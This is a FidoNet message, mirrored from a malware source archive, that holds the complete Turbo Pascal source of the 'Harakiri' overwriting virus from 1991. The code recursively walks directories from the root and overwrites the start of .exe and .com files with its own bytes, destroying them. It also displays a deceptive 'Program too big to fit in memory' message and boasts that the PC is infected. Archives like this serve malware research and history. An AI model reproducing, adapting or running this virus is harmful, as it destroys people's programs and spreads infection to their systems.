mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
211 lines
5.6 KiB
ObjectPascal
211 lines
5.6 KiB
ObjectPascal
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||
; Msg : 19 of 54
|
||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:12
|
||
; To : - *.* - Fri 11 Nov 94 08:10
|
||
; Subj : HARAKIRI.PAS
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;.RealName: Max Ivanov
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;* Kicked-up by MeteO (2:5030/136)
|
||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||
;* From : Hans Schotel, 2:283/718 (06 Nov 94 16:36)
|
||
;* To : Dr T.
|
||
;* Subj : HARAKIRI.PAS
|
||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;@RFC-Path:
|
||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||
;18.n283!not-for-mail
|
||
;@RFC-Return-Receipt-To: Hans.Schotel@f718.n283.z2.fidonet.org
|
||
;{+--------------------------------------------------------------------+}
|
||
;{| Harakiri Virus V1.50 91-09-01 |}
|
||
;{| WARNING!! WARNING!! This is a virus, compiled under TP 5.5 |}
|
||
;{+--------------------------------------------------------------------+}
|
||
Uses Dos;
|
||
Const Buf_Size=25;
|
||
Var
|
||
Buff : Array[1..5488] of Byte; { Antal som flyttas per g†ng! }
|
||
DirInfo : SearchRec;
|
||
Searchfile : String[20];
|
||
Debug : Boolean;
|
||
{------------------------------------------------------------------------}
|
||
|
||
Procedure Infect_File (Myfile:String);
|
||
Var
|
||
NumRead, NumWritten : Word;
|
||
FromF, ToF : File;
|
||
|
||
Begin
|
||
Assign(FromF,ParamStr(0)); { Open output file }
|
||
Reset(FromF, 1); { Record size = 1 }
|
||
|
||
If Debug then Writeln (Myfile);
|
||
Assign(ToF,MyFile); { Open output file }
|
||
Reset(ToF, 1); { Record size = 1 }
|
||
|
||
BlockRead(FromF,buff,SizeOf(Buff),NumRead);
|
||
BlockWrite(ToF,buff,NumRead,NumWritten);
|
||
|
||
Close(FromF);
|
||
Close(ToF);
|
||
End;
|
||
{------------------------------------------------------------------}
|
||
Function Check_File(Myfile:String) : Boolean;
|
||
Var
|
||
NumRead : Word;
|
||
NumWritten : Word;
|
||
FromF2 : File;
|
||
FromF : File;
|
||
j2 : Integer;
|
||
j1 : Integer;
|
||
Buf1 : Array[1..Buf_Size] of Byte; { Antal som flyttas per g†ng! }
|
||
Buf2 : Array[1..Buf_Size] of Byte; { Antal som flyttas per g†ng! }
|
||
|
||
Begin
|
||
j2:=1;
|
||
While j2<=Buf_Size do
|
||
begin
|
||
Buf1[j2]:=$20;
|
||
Buf2[j2]:=$20;
|
||
Inc(j2);
|
||
end;
|
||
Check_file := False;
|
||
|
||
Assign(FromF, ParamStr(0)); { Open input file }
|
||
Reset(FromF, 1); { Record size = 1 }
|
||
|
||
Assign (FromF2, Myfile);
|
||
Reset (FromF2, 1);
|
||
If Debug then Write ('--> '); If Debug then Writeln (Myfile);
|
||
|
||
BlockRead(FromF,buf1,SizeOf(buf1),NumRead);
|
||
BlockRead(FromF2,buf2,SizeOf(buf2),NumRead);
|
||
|
||
j1:=1;
|
||
While j1<=Buf_Size do
|
||
begin
|
||
If Buf1[j1] <> Buf2[j1] then
|
||
begin
|
||
If Debug then Writeln ('Ej Infekterad....!');
|
||
j1:=10000;
|
||
Inc (j1);
|
||
Check_file:=True;
|
||
end;
|
||
Inc (j1);
|
||
end;
|
||
|
||
If j1>=9999 then
|
||
begin
|
||
Check_file:=True;
|
||
end;
|
||
Close (FromF); Close (FromF2);
|
||
End;
|
||
|
||
{------------------------------------------------------------------}
|
||
Procedure Search_4_File (Sdir: String);
|
||
|
||
Var
|
||
Dir_save : Array[1..100] of string [12];
|
||
I,Imax : Integer;
|
||
Mask : String[80];
|
||
Attr : Integer;
|
||
Any_File_found : Boolean;
|
||
New_F : Boolean;
|
||
Antal_Infected : Integer;
|
||
|
||
Begin
|
||
Antal_Infected:=0;
|
||
If Debug then Writeln('Sdir = ' ,Sdir);
|
||
Mask := SDir + SearchFile;
|
||
Any_File_found := False;
|
||
|
||
FindFirst(Mask, $3F, DirInfo);
|
||
|
||
I := 0;
|
||
|
||
Begin
|
||
If DosError=0 then
|
||
begin
|
||
I := Length( SDir );
|
||
end;
|
||
I := 0;
|
||
While DosError=0 do
|
||
begin
|
||
If DirInfo.name[1] <> '.' then
|
||
begin
|
||
Any_File_found := true;
|
||
If Debug then Writeln(Dirinfo.name);
|
||
New_F := Check_File (SDir+DirInfo.Name);
|
||
If New_F=True then
|
||
begin
|
||
If Debug then Writeln ('Infecting file');
|
||
Infect_File (Sdir+DirInfo.Name);
|
||
Inc (Antal_Infected);
|
||
|
||
If Antal_Infected >= 4 then
|
||
begin
|
||
Writeln ('Program too big to fit in memory');
|
||
Halt;
|
||
end;
|
||
If Debug then Writeln (Antal_Infected);
|
||
end;
|
||
If New_F=False then
|
||
begin
|
||
If Debug then Writeln ('File Already Infected');
|
||
end;
|
||
end;
|
||
FindNext(DirInfo);
|
||
end; {while}
|
||
End;
|
||
|
||
Mask := Sdir + '*.*';
|
||
FindFirst(Mask, Directory, DirInfo); { look for dir only }
|
||
Imax := 0; I:= 1;
|
||
|
||
While DosError=0 do { G”r lista ”ver directories..}
|
||
Begin
|
||
If DirInfo.Attr and Directory <> 0 then
|
||
begin
|
||
If DirInfo.name[1] <> '.' then
|
||
begin
|
||
Dir_save[I] := DirInfo.Name;
|
||
Imax := I; inc(I);
|
||
end;
|
||
end;
|
||
FindNext(DirInfo);
|
||
End; {while}
|
||
|
||
I:=1;
|
||
While I <= Imax do
|
||
begin
|
||
Search_4_File(SDir + Dir_save[I] + '\');
|
||
I:= I+1;
|
||
end;
|
||
End;
|
||
|
||
{====Main===================================================================}
|
||
BEGIN
|
||
Debug := true;
|
||
SearchFile := '*.exe';
|
||
Search_4_File ('\');
|
||
SearchFile := '*.com';
|
||
Search_4_File ('\');
|
||
|
||
Writeln ('Your PC is alive and infected with the HARAKIRI virus!');
|
||
|
||
END.
|
||
|
||
-+- GoldED/386 2.50.B1016+
|
||
+ Origin: FidoNet * Mathieu Not‚ris * Brussels-Belgium-Europe (2:283/718)
|
||
=============================================================================
|
||
|
||
Yoo-hooo-oo, -!
|
||
|
||
|
||
þ The MeÂeO
|
||
|
||
/A=NNNN Set NewExe segment alignment factor
|
||
|
||
--- Aidstest Null: /Kill
|
||
* Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||
|